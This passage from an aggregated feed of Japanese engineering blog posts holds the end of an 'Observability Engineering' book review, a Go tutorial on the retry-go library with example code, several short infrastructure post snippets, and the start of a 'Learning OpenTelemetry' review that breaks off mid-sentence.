それは、ソフトウェアの動作を理解する方法を変え、顧客との関係を変革する実践なのです。追加のリソース本章では、本書で扱えなかった重要なトピックを補完するための追加のリソースも紹介されています。SRE本、SLOの実装、OpenTelemetryの詳細など、オブザーバビリティに関連する様々な話題をカバーする書籍やブログが推奨されていました。オブザーバビリティの未来予測最後に、本書は今後のオブザーバビリティの展開について予測を示しています。2022年の発売で2年経過しているが概ねあっている。OpenTelemetryとオブザーバビリティの融合:OTelは、アプリケーションのインストルメンテーションのデファクトスタンダードになり、オブザーバビリティと不可分のものになるでしょう。フロントエンドアプリケーションへのオブザーバビリティの浸透:RUMや合成モニタリングに代わり、オブザーバビリティがフロントエンドのパフォーマンス理解とデバッグに使われるようになります。自動インストルメンテーションの進化:OTelの自動インストルメンテーションは、ベンダー固有のライブラリに匹敵するレベルに達し、カスタムインストルメンテーションと組み合わせて使われるでしょう。開発ワークフローの変革:オブザーバビリティは、コード変更が本番環境でユーザーにどう影響するかを理解するための不可欠なツールになります。それにより、開発者は迅速なフィードバックを得て、より良いソフトウェアを作れるようになるのです。オブザーバビリティ実践の継続的な進化著者らは、本書の結論として、オブザーバビリティが絶え間ない実践の進化であることを強調しています。 高カーディナリティと高次元のテレメトリデータを自在に分析し、コア分析ループを使って問題の根本原因を迅速に特定できるようになることが、オブザーバビリティの本質なのです。そして、オブザーバビリティの実践は、技術の進歩とともに進化し続けるでしょう。本書が提示したのは、その進化の道筋を示す一つの地図に過ぎません。 実際の道のりは、それぞれの組織に固有のものになるはずです。私自身、SREとしてオブザーバビリティの導入に携わってきた経験から、著者らの主張に強く共感しました。オブザーバビリティは、単なるツールの導入ではなく、ソフトウェアの信頼性を追求する終わりなき旅なのだと実感しています。 本章で得た洞察を糧に、その旅を続けていきたいと思います。さいごに本書『Observability Engineering』は、現代のソフトウェアシステムが直面する複雑性という難題に対し、オブザーバビリティという解決策を提示してくれる、極めて示唆に富んだ一冊でした。オブザーバビリティは、単なるツールや技術の問題ではありません。それは、システムと向き合い、その内部を深く理解するための思想であり、文化なのです。オブザーバビリティの実践は、エンジニアリングチームの働き方を変え、組織のあり方そのものを変革していく営みなのだと、今までの経験と本書を通じて強く実感させられました。著者らが繰り返し強調しているように、オブザーバビリティの旅に終わりはありません。技術は常に進化し、システムはますます複雑になっていきます。そうした中で、オブザーバビリティのベストプラクティスもまた、絶え間ない進化を求められるのです。しかし、その本質は不変です。システムの真の姿を捉え、ユーザーに価値を届け続けること。それこそが、私たちソフトウェアエンジニアに課せられた使命なのだと、改めて思い知らされました。本書で得た学びを胸に、オブザーバビリティの実践を重ね、その輪を広げていくことが、私にできる重要な責務だと感じています。最後に、本書の著者をはじめ、オブザーバビリティの発展に尽力されてきた方々に、心からの敬意と感謝を表します。皆さんの献身的な努力なくして、今日のオブザーバビリティの隆盛はありませんでした。皆さんが切り拓いてくださった道の上を、私もまた歩んでいくことを誓います。そして、本ブログ読者の皆さまにも感謝を申し上げます。1つ1つの気づきや学びを積み重ねることが、私たち自身の成長につながるだけでなく、ひいては業界全体の発展にもつながるのだと信じています。引き続き、オブザーバビリティについて学び、実践し、議論を深めていければとおもいます。あと、この手のタイプの読書感想文は家でちまちま書くことでしか成立しないので生活が変わったらやめます。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。今週の金曜日が誕生日なので祝っていただけても嬉しいです。参考資料Exponential Histogram?OpenTelemetryが気になってるけど実際に始めて「なるほどね」ってなるにはどうしたらいいかについて15分でまとめて喋りますOpenTelemetry を使ったトレースエグザンプラーの活用 / otel-trace-exemplarオブザーバビリティの Primary SignalsOn the general theory of control systemsWhy Intuitive Troubleshooting Has Stopped Working for YouControl theory | wiki制御理論 | wikiScuba: Diving into Data at FacebookChoose Boring TechnologyUnicorn)State of DevOps 2019CNCF Cloud Native Definition v1.1Ep. #11, Chaos Engineering with Ana Medina of GremlinChaos Engineering ObservabilityHow Time Series Databases Work—and Where They Don\'tイベント(Event)の構造化データDapper, a Large-Scale Distributed Systems Tracing InfrastructureEvolving Distributed Tracing at Uber EngineeringZipkinServiceNow Cloud ObservabilityHoneycombAWS X-Ray and Step FunctionsOpenTelemetry | DocumentationWaterfall chart【OpenTelemetry】オブザーバビリティバックエンド8種食べ比べtracingからAttributesを付与してmetricsを出力できるようにtracing-opentelemetryにPRを送ったAccelerateThe Staff Engineer\'s PathTest-driven developmentWhen Doing Wrong Feels So Right: Normalization of DevianceTying These Principles TogetherService Level ObjectivesImplementing Service Level ObjectivesMoving Past Shallow Incident DataObservability Maturity Community Research Findings Q1, 2020Observability Maturity Community Research Findings 2021Observability Survey 2023The State of Observability 2023OpenTelemetry (OTel) Is Key to Avoiding Vendor Lock-inジョインしたチームのマイクロサービスたちを再計装した話 / Getting started tracing instrument micro service with OpenTelemetryOpenTelemetryのここ4年の流れ / OpenTelemetry in last 4+ yearsペパボOpenTelemetry革命OpenTelemetry Collector 自身のモニタリング / Monitoring the OpenTelemetry Collector itself5分でわかるGoの自動計装Building a ServiceMap with Service Graph ConnectorHoneycombとOpenTelemetryでオブザーバビリティに入門してみる自家版semconvの夢サービスメッシュ環境における OpenTelemetry 活用 / OpenTelemetry in Service MeshOpenTelemetry のサービスという概念についてOpenTelemetry実践 はじめの一歩AWS Distro for OpenTelemetry (ADOT) の紹介監視論Ⅳ ~監視からオブザーバビリティーへの招待~オブザーバビリティで理解するコンピュータサイエンス監視論 ~SREと次世代MSP~","link":"https://syu-m-5151.hatenablog.com/entry/2024/05/06/090014","isoDate":"2024-05-06T00:00:14.000Z","dateMiliSeconds":1714953614000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Ciliumのkube-proxy置き換えに関する調査 ~ GKE Dataplane V1・V2 の比較 ~","contentSnippet":"自己紹介 小林 インターン生のの小林です。大学では、ネットワーク系の研究を行っています。もともとセキュリティやネットワークに興味があり、SREやインフラ領域のスキル向上になると思い、本インターンに参加しました。 中村 イ […]The post Ciliumのkube-proxy置き換えに関する調査 ~ GKE Dataplane V1・V2 の比較 ~ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cilium-kube-proxy-replacement/","isoDate":"2024-05-05T23:59:27.000Z","dateMiliSeconds":1714953567000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Pulumi ESC を使ってみる","contentSnippet":"概要Pulumi ESC (Environments, Secrets, and Configuration)クラウドインフラとアプリケーションの secret と configuration を管理できるPulumi Cloud で利用可能なマネージドサービス2023/10 にリリース現在はプレビュー段階 ドキュメントに記載されている内容をざっくり要約Pulumi ESC はクラウド環境における secret と configuration の複雑さに対処し、メンテナンスの負担を軽減し、コストのかかるミスを減らし、「secure by default」な体制を構...","link":"https://zenn.dev/z63d/articles/496f787cda423c","isoDate":"2024-05-05T04:36:28.000Z","dateMiliSeconds":1714883788000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"リトライ処理を追加するとバッチが安定することがあることもそこそこあるので「avast/retry-go」を使ってみる","contentSnippet":"はじめにインフラエンジニアは日々の業務でプログラムを書く機会が多く、その中で処理の実行やHTTPの通信などでリトライ処理を実装する必要があることが少なくありません。リトライ処理を実装する必要は必ずしもなくても、実装することでバッチが安定することがあります。もっと言っておくとリトライ処理を実装することで、一時的なエラーによる処理の失敗を回避し、バッチ処理の安定性が向上する可能性があります。実行基盤によってジョブの再試行の自動化、最大再試行回数を設定するやPod失敗のバックオフポリシーなどとの兼ね合いを考える必要もあると思います。あとはマジでガー不のバグを引き寄せることもあるので注意が必要です。はじめにシンプルな例最大リトライ回数の指定次のリトライまでの待ち時間の設定特定の例外のみリトライするケースさいごに今回はGolangには「retry-go」というリトライ処理を簡潔に実装できるライブラリがあり、これを使うと非常に簡単にリトライ機能を追加できます。シェルスクリプトでも簡単に実装できるのですが今回は紹介しない。avast/retry-goは、リトライ処理を実装するための便利なライブラリです。このライブラリを使えば、ごく少ない行数でリトライ機能を実装できます。github.comインストールはgo get github.com/avast/retry-goで行えます。このライブラリの使い方は非常に簡単です。リトライ対象の処理をラップするだけで、設定した回数とウェイト時間に従ってリトライが実行されます。設定可能なオプションも豊富で、リトライ条件やログ出力など細かなカスタマイズも可能です。リトライ処理の実装は、単純に見えて一歩踏み込もうとすると意外と難しい面があります。retyr-goを使えば、そういった難しさから開放され、安定したリトライ処理を簡単に実装できます。バッチ処理の安定性向上に役立つことは間違いありません。Golangを使ったプログラミングにおいて、retry-goはリトライ処理の実装を格段に簡単にしてくれる強力なライブラリです。ぜひ一度試してみてはいかがでしょうか。シンプルな例使い方は簡単で、retry.Doを使って対象の関数をラップするだけでリトライ処理を実装できます。例外が発生した場合にはリトライが行われ、何も例外が発生しなければ値が返ってきます。package mainimport ( \\"fmt\\" \\"math/rand\\" \\"github.com/avast/retry-go\\")func randomErrorSimple() error { num := rand.Intn(10) if num > 2 { fmt.Printf(\\"Error: num=%d\\\\n\\", num) return fmt.Errorf(\\"Error!\\") } fmt.Printf(\\"Success: num=%d\\\\n\\", num) return nil}func main() { err := retry.Do( randomErrorSimple, ) if err != nil { fmt.Printf(\\"Error: %v\\\\n\\", err) }}実際に実行してみる。3回失敗して4回目にError値が返っていないので通常に終了。$ go run main.goError: num=5Error: num=4Error: num=3Success: num=0最大リトライ回数の指定retry.Attemptsを使うと、指定した回数だけリトライを行うことができます。指定した回数に達した後に例外が発生した場合はエラーが返されます。package mainimport ( \\"fmt\\" \\"github.com/avast/retry-go\\")func errorWithMaxAttempts() error { fmt.Println(\\"Error occurred!\\") return fmt.Errorf(\\"Error occurred!\\")}func main() { retryWithMaxAttempts()}func retryWithMaxAttempts() { err := retry.Do( errorWithMaxAttempts, retry.Attempts(3), ) if err != nil { fmt.Println(\\"3 times failed\\") }}実際に実行すると3回失敗して終了している。$ go run main.go Error occurred!Error occurred!Error occurred!3 times failed次のリトライまでの待ち時間の設定retry.Delayを使って、次のリトライまで指定した時間待つことができます。例えば、APIのレート制限に引っかかって例外が発生した場合などに便利です。package mainimport ( \\"fmt\\" \\"time\\" \\"github.com/avast/retry-go\\")func errorWithDelay() error { now := time.Now().Format(\\"15:04:05\\") fmt.Printf(\\"Error occurred!: %s\\\\n\\", now) return fmt.Errorf(\\"Error occurred!\\")}func main() { retryWithDelay()}func retryWithDelay() { err := retry.Do( errorWithDelay, retry.Attempts(3), retry.Delay(3*time.Second), ) if err != nil { fmt.Println(\\"3 times failed\\") }}実行結果は以下のようになる。ちゃんと待ち時間を指定できている。$ go run main.go Error occurred!: 01:35:16Error occurred!: 01:35:20Error occurred!: 01:35:263 times failed特定の例外のみリトライするケースretry.RetryIfでリトライする場合の例外条件を指定することができます。特定の例外が発生した場合のみリトライ処理を行うことができます。package mainimport ( \\"fmt\\" \\"github.com/avast/retry-go\\")func errorWithSpecificError(num int) error { if num == 0 { fmt.Println(\\"0 is invalid\\") return fmt.Errorf(\\"value error\\") } return fmt.Errorf(\\"Error occurred!: num=%d\\", num)}func main() { retryWithSpecificError()}func retryWithSpecificError() { err := retry.Do( func() error { return errorWithSpecificError(0) }, retry.Attempts(3), retry.RetryIf(func(err error) bool { return err.Error() == \\"value error\\" }), ) if err != nil { fmt.Println(\\"Value Error occurred\\") } err = retry.Do( func() error { return errorWithSpecificError(1) }, ) if err != nil { fmt.Printf(\\"%v\\\\n\\", err) }}実行結果です。$ go run main.go0 is invalid0 is invalid0 is invalidValue Error occurredさいごにretry-goを使用することでお手軽にリトライ処理を追加できて便利です。特に、最大リトライ回数の設定、次のリトライまでの待ち時間の設定、特定の例外のみリトライするケースなど、様々な状況に対応できる機能が用意されています。他にも色々な機能があるので気になった方は公式ドキュメントを見てみてください。github.com","link":"https://syu-m-5151.hatenablog.com/entry/2024/05/02/114958","isoDate":"2024-05-02T02:49:58.000Z","dateMiliSeconds":1714618198000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"【2024年夏期インターン】SREの技術について学びたいインターン募集!","contentSnippet":"リモートで開催する2週間程度で、技術に関する研究を行うインターンシッププログラムとなっています!当社SREエンジニアがメンターとしてサポートし、知識に不安をお持ちの方のために事前学習の期間を設けておりますので、インフラ、 […]The post 【2024年夏期インターン】SREの技術について学びたいインターン募集! first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/summer_intern/","isoDate":"2024-05-01T03:27:01.000Z","dateMiliSeconds":1714534021000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 Google Cloud Infrastructure Modernization 支援パートナープログラムに賛同","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 クラウドへのインフラストラクチャ移行を支援する Google Cloud Infrastructure Moderniza […]The post スリーシェイク、 Google Cloud Infrastructure Modernization 支援パートナープログラムに賛同 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gcim/","isoDate":"2024-04-30T07:15:12.000Z","dateMiliSeconds":1714461312000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[Kubernetes 1.30] Dynamic Resource Allocation の再構築","contentSnippet":"!Kubernetes 1.30 時点でアルファ機能のため、実装が大きく変わる可能性があります。[Kubernetes 1.27] Dynamic Resource Allocation のいまで紹介した Dynamic Resource Allocation (DRA) の内部的な仕組みに Kubernetes 1.30 で大きく変更が入ることになりました。内部的な仕組みの変更なので、ユーザー視点ではこれまでと利用方法は変わりません。ResourceClass に追加されたフィールドを有効にしないと新しい仕組みが使えないため、クラスタ管理者は対応が必要になります。世界的に AI...","link":"https://zenn.dev/toversus/articles/5bbd68e507f28d","isoDate":"2024-04-30T06:43:41.000Z","dateMiliSeconds":1714459421000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Wireguard Exporter と Grafana Alloy で VPN 通信量を可視化","contentSnippet":"先日、家のラズパイに Grafana Alloy をセットアップしてメトリクス可視化の環境はできているので WireGuard での VPN 通信のメトリクスを可視化してみようかなと試してみまし","link":"https://blog.1q77.com/2024/04/wireguard-exporter/","isoDate":"2024-04-28T12:57:31.000Z","dateMiliSeconds":1714309051000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Istio Ambient Mesh の inpod redirection 試してみた","contentSnippet":"先日Istio 1.21.0がリリースされ ambient meshにinpod redirectionが実装されました。(ambient meshはまだalphaなので本番環境では非推奨です) inpod redire […]The post Istio Ambient Mesh の inpod redirection 試してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/istio-ambient-mesh-inpod-redirection/","isoDate":"2024-04-23T06:05:05.000Z","dateMiliSeconds":1713852305000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Dev Containerを使ってみよう","contentSnippet":"Dev Containerを使ってみようDev Containerを使う上で知っておくと良さげな情報のまとめ記事です前にRemote SSHでDev Containerの環境を構築する記事を書いたので、今回はDev Container全般の情報をまとめてみましたhttps://zenn.dev/bells17/articles/remote-ssh-devcontainer tl;drDev Containerを使うと開発環境をコンテナで構築できるよ(ランタイムとかツール類含めて!)docker composeだとアプリケーションを動作させる環境は作れるけどDev C...","link":"https://zenn.dev/bells17/articles/devcontainer-2024","isoDate":"2024-04-22T18:05:48.000Z","dateMiliSeconds":1713809148000,"authorName":"bells17","authorId":"bells17"},{"title":"「セキュリティ・キャンプ全国大会2024」にスリーシェイクのエンジニアが講師として登壇","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)に在籍するエンジニアが、独立行政法人情報処理推進機構と一般社団法人セキュリティ・キャンプ協議会が共催する「セキュリティ・キャンプ […]The post 「セキュリティ・キャンプ全国大会2024」にスリーシェイクのエンジニアが講師として登壇 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/security/","isoDate":"2024-04-22T01:07:46.000Z","dateMiliSeconds":1713748066000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud Next ‘24 参加レポート","contentSnippet":"参加レポート タイトルの通りラスベガスにて4/9から11まで開催されていた Google Cloud Next’24 に参加してきました。 今回は Google Cloud Partner Top Engineer 20 […]The post Google Cloud Next ‘24 参加レポート first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-next-24-report/","isoDate":"2024-04-17T23:00:00.000Z","dateMiliSeconds":1713394800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[EKS] Amazon Linux 2023 への移行","contentSnippet":"2024/2/29 に Amazon Linux 2023 が EKS で正式サポートされました。全てのリージョンの Karpenter Node、マネージドノードグループ、セルフマネージドノードグループで利用可能です。現在 EKS でサポート対象の 1.25 以降に加えて、延長サポートに入っている EKS 1.23 / 1.24 でも利用できます。Amazon Linux 2023 のサポートに関しては Amazon EKS-Optimized Amazon Linux 2023 AMIs Now Available のブログに詳細がまとまっています。 セキュリティ機能の強化Am...","link":"https://zenn.dev/toversus/articles/a4bbd2047bbba1","isoDate":"2024-04-17T00:22:38.000Z","dateMiliSeconds":1713313358000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"5年後には標準になっている可観測性のこと - Learning Opentelemetry の読書感想文","contentSnippet":"はじめに本稿は、オープンソースの可観測性(Observability)プロジェクトである OpenTelemetry を取り上げた書籍「Learning Opentelemetry」の読書感想文です。従来の可観測性の課題であったデータの分断を解消し、トレース、メトリクス、ログなどの様々なテレメトリデータを統合的に扱うことができる OpenTelemetry は、可観測性の分野における革命的な存在と言えます。過去10年間で、可観測性はニッチな分野から、クラウドネイティブの世界のあらゆる部分に影響を与える数十億ドル規模の産業へと発展しました。しかし、効果的な可観測性の鍵は、高品質のテレメトリデータにあります。OpenTelemetryは、このデータを提供し、次世代の可観測性ツールと実践を開始することを目的としたプロジェクトです。learning.oreilly.com本書の想定読者は、アプリケーション開発者、オープンソースのメンテナー、運用・インフラチーム、マネージャーやチームリーダーなど幅広く設定されています。現代の可観測性の原則から、OpenTelemetry の導入、運用、トラブルシューティングに至るまで、大規模な組織における可観測性の実現に必要な知識が網羅的に提供されているのが特徴です。私が業務で利用している技術スタックの実装の詳細については説明されていませんでしたが、全てを網羅することは文量の制約がある以上、不可能であることは理解しています。また、実際に導入する際には泥臭い部分が相応に出てくるのですが、本書ではそれらがなんとなく回避されているようにも感じられ、Opentelemetryが万能の願望機に見えてしまうかもしれません。この辺りについては、OpenTelemetry MeetupやOpenTelemetry Casual Talkなどで先駆者達とお話をすれば、徐々に理解が深まるのではないかと思います。opentelemetry.connpass.comはじめにChapter 1. The State of Modern ObservabilityObservabilityの重要性と課題OpenTelemetryとObservabilityの未来Chapter 2. Why Use OpenTelemetry?現代のソフトウェア開発における可観測性の課題OpenTelemetryがもたらす可観測性の未来Chapter 3. OpenTelemetry OverviewOpenTelemetryの主要コンポーネントOpenTelemetryのコンテキスト伝播SREにとってのOpenTelemetryの意義Chapter 4. The OpenTelemetry ArchitectureOpenTelemetryのアーキテクチャOpenTelemetryを活用したデモアプリケーションOpenTelemetryによる可観測性データの統一性と相関性OpenTelemetryの導入に向けてChapter 5. Instrumenting ApplicationsOpenTelemetryのセットアッププロセスOpenTelemetryの設定のベストプラクティスOpenTelemetryの計装のベストプラクティスOpenTelemetryの導入に向けた考察Chapter 6. Instrumenting Librariesライブラリの重要性と可観測性の意義OpenTelemetryによるライブラリ計装の課題解決ライブラリ計装のベストプラクティスと今後の展望Chapter 7. Observing Infrastructureクラウドプロバイダーのテレメトリデータの収集と活用Kubernetesプラットフォームにおける可観測性サーバーレスプラットフォームの可観測性非同期ワークフローの可観測性Chapter 8. Designing Telemetry PipelinesテレメトリパイプラインのトポロジーとCollectorの役割パイプラインオペレーションの重要性Collectorのセキュリティと運用テレメトリコストの管理Chapter 9. Rolling Out Observability可観測性の真の価値OpenTelemetryの展開における3つの格言OpenTelemetryの展開後の差別化本章のまとめと著者の主張おわりに参考資料以前、OpenTelemetry に関する社内勉強会の資料を作成した際、プロジェクトの全体像を理解することの難しさを感じました。OpenTelemetry は野心的なプロジェクトであり、各コンポーネントの役割や相互の関係性を把握するのは容易ではありません。国内でもOpenTelemetryに関するカンファレンスや勉強会が数多く開催されていますが、どのイベントに参加し、どの資料を読めば効率的に知識を習得できるのか、判断に迷うこともあります。しかし、本書は OpenTelemetry の設計思想から実践的な活用方法まで、体系的かつ平易に解説されており、可観測性に関する理解を深めるための良きガイドになるはずです。syu-m-5151.hatenablog.com近年、マイクロサービスアーキテクチャの普及やクラウドネイティブの進展に伴い、システムの複雑性は増す一方です。そのような環境において、可観測性は安定したサービス運用を実現するための鍵となります。本書を通じて、OpenTelemetry を活用した可観測性の向上について学び、自身の開発・運用プラクティスに活かしていきたいと思います。本書は、OpenTelemetryの重要性とその応用を探る実践的なガイドであり、可観測性の分野で必読の一冊と言えるでしょう。本書は、可観測性の世界でOpenTelemetryが中心的な役割を果たしていることを強調し、その価値と組織にもたらすメリットを第2章で解説します。続いて、OpenTelemetryのモデル、主要な可観測性シグナルの関連性、アプリケーションの計装方法、オープンソースライブラリやサービスの計装、ソフトウェアインフラストラクチャの観測オプション、可観測性パイプラインの構築、そして組織全体でのOpenTelemetryの展開戦略について詳細に説明します。各章は、トレース、メトリクス、ログなどの可観測性シグナルの理解を深め、高品質のテレメトリデータの確保、ライブラリの可観測性への取り組み、OpenTelemetry Collectorを用いたパイプライン構築、そして組織的なアプローチに至るまで、広範囲にわたる知識を提供します。Learning OpenTelemetry (English Edition)作者:Young, Ted,Parker, AustinO\'Reilly MediaAmazon本書は、OpenTelemetryを活用した可観測性の向上に向けた実践的な知見を得るための優れたリソースです。具体的な実装の詳細については、他の情報源も参照しながら、自身の環境に合わせて工夫していく必要がありますが、本書が提供する知識と洞察は、その過程で大いに役立つことでしょう。OpenTelemetryは可観測性の分野で大きな可能性を秘めたプロジェクトであり、本書はその理解と活用に向けた道しるべとなる一冊です。また、小項目は本書からの引用ではなくオレオレ分類です。本稿は同僚であり友人の俺ですにレビューしていただきました。改めて感謝申し上げます。hiroki-hasegawa.hatenablog.jpChapter 1. The State of Modern Observability本章を読んで、現代のソフトウェアシステムにおけるObservabilityの重要性と課題について理解を深めることができました。著者は、Observabilityの歴史を理解することが、現在のソフトウェアシステムの課題を解決するために不可欠であると主張しています。これは、冒頭の \\"History is not the past but a map of the past, drawn from a particular point of view, to be useful to the modern traveler:歴史とは過去ではなく、現代の旅行者に役立つように特定の視点から描かれた過去の地図である。\\" という言葉に端的に表されています。著者の主張を踏まえると、Observabilityの歴史を学ぶことは、現代のソフトウェアシステムの課題を解決するための重要な手がかりになるでしょう。私は壮大な物語が大好きなので、『サピエンス全史』なども好きなので紹介しておきます(なぜ?)。サピエンス全史 上下合本版 文明の構造と人類の幸福作者:ユヴァル・ノア・ハラリ河出書房新社Amazon国内では、OpenTelemetryのこれまでとこれからなどのセッションが参考になるかもしれません。OpenTelemetryは、オープンソースのObservabilityフレームワークであり、その発展の歴史とこれからの方向性を理解することは、現代のソフトウェアシステムにおけるObservabilityの課題を考える上で役立つと思われます。また、Observability Conferenceなどのカンファレンスでは、Observabilityに関する様々なセッションが開催されています。興味のあるセッションを幅広く視聴することで、Observabilityの現状と将来の可能性について、多角的な視点から学ぶことができるでしょう。cloudnativedays.jpObservabilityの重要性と課題本章では、まずObservabilityに関連する重要な用語の定義が述べられています。分散システム、リソース、トランザクション、テレメトリ、分析、Observabilityなど、これらの用語を正しく理解することは、Observabilityについて議論する上で欠かせません。特に、分散システムをリソースとトランザクションの観点から捉えることが重要だと感じました。リソースには、サーバー、コンテナ、プロセス、RAM、CPU、ネットワークカードなどの物理的コンポーネントと、クライアント、アプリケーション、APIエンドポイント、データベース、ロードバランサーなどの論理的コンポーネントが含まれます。一方、トランザクションは、ユーザーに代わってシステムが必要とするリソースを編成し、利用するリクエストを指します。Observabilityとは、これらのリソースとトランザクションの振る舞いを理解するための手段だと言えます。ウェブオペレーション ―サイト運用管理の実践テクニック (THEORY/IN/PRACTICE)オライリージャパンAmazon次に、テレメトリの歴史について触れられています。テレメトリは、電力プラントや公共電力網などの初期の分散システムを監視するために開発されたものであり、コンピュータシステムにおけるテレメトリは、ログ、メトリクス、分散トレーシングの順に発展してきました。これらは、現在の \\"Three Pillars of Observability:可観測性の3本柱\\" と呼ばれる概念の基礎となっています。これは本書だけが主張しているものではなく2022年にリリースされたObservability Engineeringにも言及があります。Figure 1-2. The three pillars of observability より引用ログは、システムやサービスの状態を説明する人間が読めるテキストベースのメッセージです。メトリクスは、システムの状態とリソース使用率を表すコンパクトな統計情報です。分散トレーシングは、トランザクションを構成する個々のオペレーションを追跡し、レイテンシーの原因を特定するために使用されます。これらの情報は、それぞれ専用のシステムで収集、伝送、分析されてきました。しかし、著者は \\"Three Pillars:3つの柱\\" アプローチの問題点を指摘しています。ログ、メトリクス、トレースが別々のシステムとして扱われているため、データが分断され、相関関係を見つけることが難しくなっているのです。現実のシステムはトランザクションとリソースで構成されており、問題の多くはこれらの相互作用から生じます。例えば、ログを見ただけでは、リソース使用率の変化パターンとの関連性を自動的に特定することはできません。そのため、データを統合し、相関関係を見つけることができるObservabilityシステムが必要となります。まぁ『TEMPLE: Six Pillars of Observability』みたいに6本柱として紹介している記事などもあるのでいろいろです。medium.com著者が提案するのは、\\"Single Braid of Data:データの単一の編み込み\\" というコンセプトです。これは、データが互いに組み合わさって一つの流れや構造を形成している様子を表す比喩的な表現として使われることがあります。特に、複数の情報源や種類のデータが統合されて一つの目的や分析のために活用される状況を想像すると良いでしょう。Figure 1-3. A braid of signals, making it easier to find correlations between them より引用これは、ログ、メトリクス、トレースを別々のシグナルとして扱いつつ、それらを単一のグラフ構造にまとめるというアイデアです。各シグナルは独立していますが、接点によってすべてがつながっています。こうすることで、コンピュータがグラフを辿って遠く離れた重要な関連性を素早く見つけ出すことができるようになります。相関関係を見つけるには、データを接続する必要があります。そして、そのためには、システムが発するテレメトリに、統一性と一貫性が求められます。統一されたテレメトリは、統一された分析を可能にし、プロダクションシステムに内在する問題を深く理解するために不可欠なのです。そして、このようなテレメトリシステムが実際に存在しており、それがOpenTelemetryです。OpenTelemetryは、ログ、メトリクス、トレースを単一の一貫したグラフにまとめることで、次世代のObservabilityツールの基盤となるものです。著者は、Observabilityの世界が大きく変わりつつあり、その中心にはOpenTelemetryがあると述べています。トレース、メトリクス、ログ、プロファイリングなど、あらゆる形式のテレメトリを相関させる能力が、これからのObservabilityの鍵となるでしょう。それは、私たちが切望してきたワークフローと自動化を実現するために不可欠です。OpenTelemetryとObservabilityの未来明確に言及されているのですが本書は、OpenTelemetryのドキュメントの代替ではなく、その哲学とデザインを説明し、効果的に活用するための実用的なガイダンスを提供することを目的としています。各章では、OpenTelemetryの価値、モデル、アーキテクチャ、インストルメンテーション、ライブラリ、インフラストラクチャ、パイプライン、組織への展開などについて詳しく説明されています。私自身、ソフトウェアエンジニアとして、本書を通じてOpenTelemetryとObservabilityについての理解を深め、実務に活かしていきたいと思います。現代のソフトウェアシステムが直面する課題を解決するために、OpenTelemetryを中心とした新しいObservabilityの時代に備えることが重要だと感じました。詳細については翻訳もされている『オブザーバビリティ・エンジニアリング』を読めば良いと思いました。オブザーバビリティ・エンジニアリング作者:Charity Majors,Liz Fong-Jones,George Mirandaオーム社AmazonChapter 2. Why Use OpenTelemetry?本章を読んで、OpenTelemetryが可観測性の課題を解決するための重要な手段であることを改めて理解しました。現代のソフトウェア開発において、システムの複雑性が増大する中で可観測性の重要性が高まっていますが、同時に様々な課題に直面していることが明らかになりました。システムの複雑性と向き合う書籍は色々ありますがBuilding Microservices, 2nd EditionやEnabling Microservice Success、Software Architecture: The Hard Partsなどの書籍を読むことをお勧めします。learning.oreilly.com本章では、まず現代のソフトウェア開発における可観測性の重要性が述べられています。ソフトウェアシステムの複雑性が増す中で、開発者やオペレーターは限られたリソースでより多くのことをこなすことを求められています。しかし、システムの規模が大きくなるほど、その動作を正確に把握することは容易ではありません。コードやドキュメントだけでは、実際のプロダクション環境でのシステムの振る舞いを完全に理解することはできないのです。著者は、テレメトリ(遠隔測定)と可観測性(Observability)は、このような課題に立ち向かうための最も強力な武器だと述べています。テレメトリとは、システムが何をしているかを示すデータのことで、可観測性とは、そのデータを分析してシステムを理解する能力を指します。現代のソフトウェア開発における可観測性の課題次に、プロダクションモニタリングの現状と課題について触れられています。多くの組織では、メトリクス、ログ、トレースなど、様々なシグナル(信号)を異なるツールで収集し、複数のストレージに保存しています。データのフォーマットや収集頻度もバラバラで、システム全体を把握することが非常に難しくなっているのが実情です。組織の複雑性が増すほど、インシデントの検知や診断、修復に時間がかかるようになります。これは、インシデント対応者が適切なデータを手に入れられないことが大きな原因だと指摘されています。著者によると、データの量、品質、関連性の欠如が、プロダクションデバッグを困難にしているのです。この課題を解決するために、著者は統一されたテレメトリの重要性を説いています。OpenTelemetryは、ハードコンテキストとソフトコンテキストという概念を用いて、テレメトリデータに豊富なメタデータを付与します。Figure 2-1. “Hard” and “soft” contexts emitted by a web application より引用ハードコンテキスト(Hard Context)は、サービス間の因果関係を明示的にリンクするユニークな識別子です。具体的には、各リクエストに割り当てられる一意のIDのことで、分散システム内のサービスがそのIDを伝播させることで、同じリクエストに属するテレメトリデータを関連付けることができます。これにより、個々のテレメトリデータを関連付けるだけでなく、異なるタイプの計装を結びつけることができます。例えば、メトリクスをトレースに関連付けたり、ログをスパンにリンクしたりできるようになります。ハードコンテキストの存在により、人間のオペレーターがシステムの異常動作を調査する時間を大幅に短縮できると著者は述べています。一方、ソフトコンテキスト(Soft 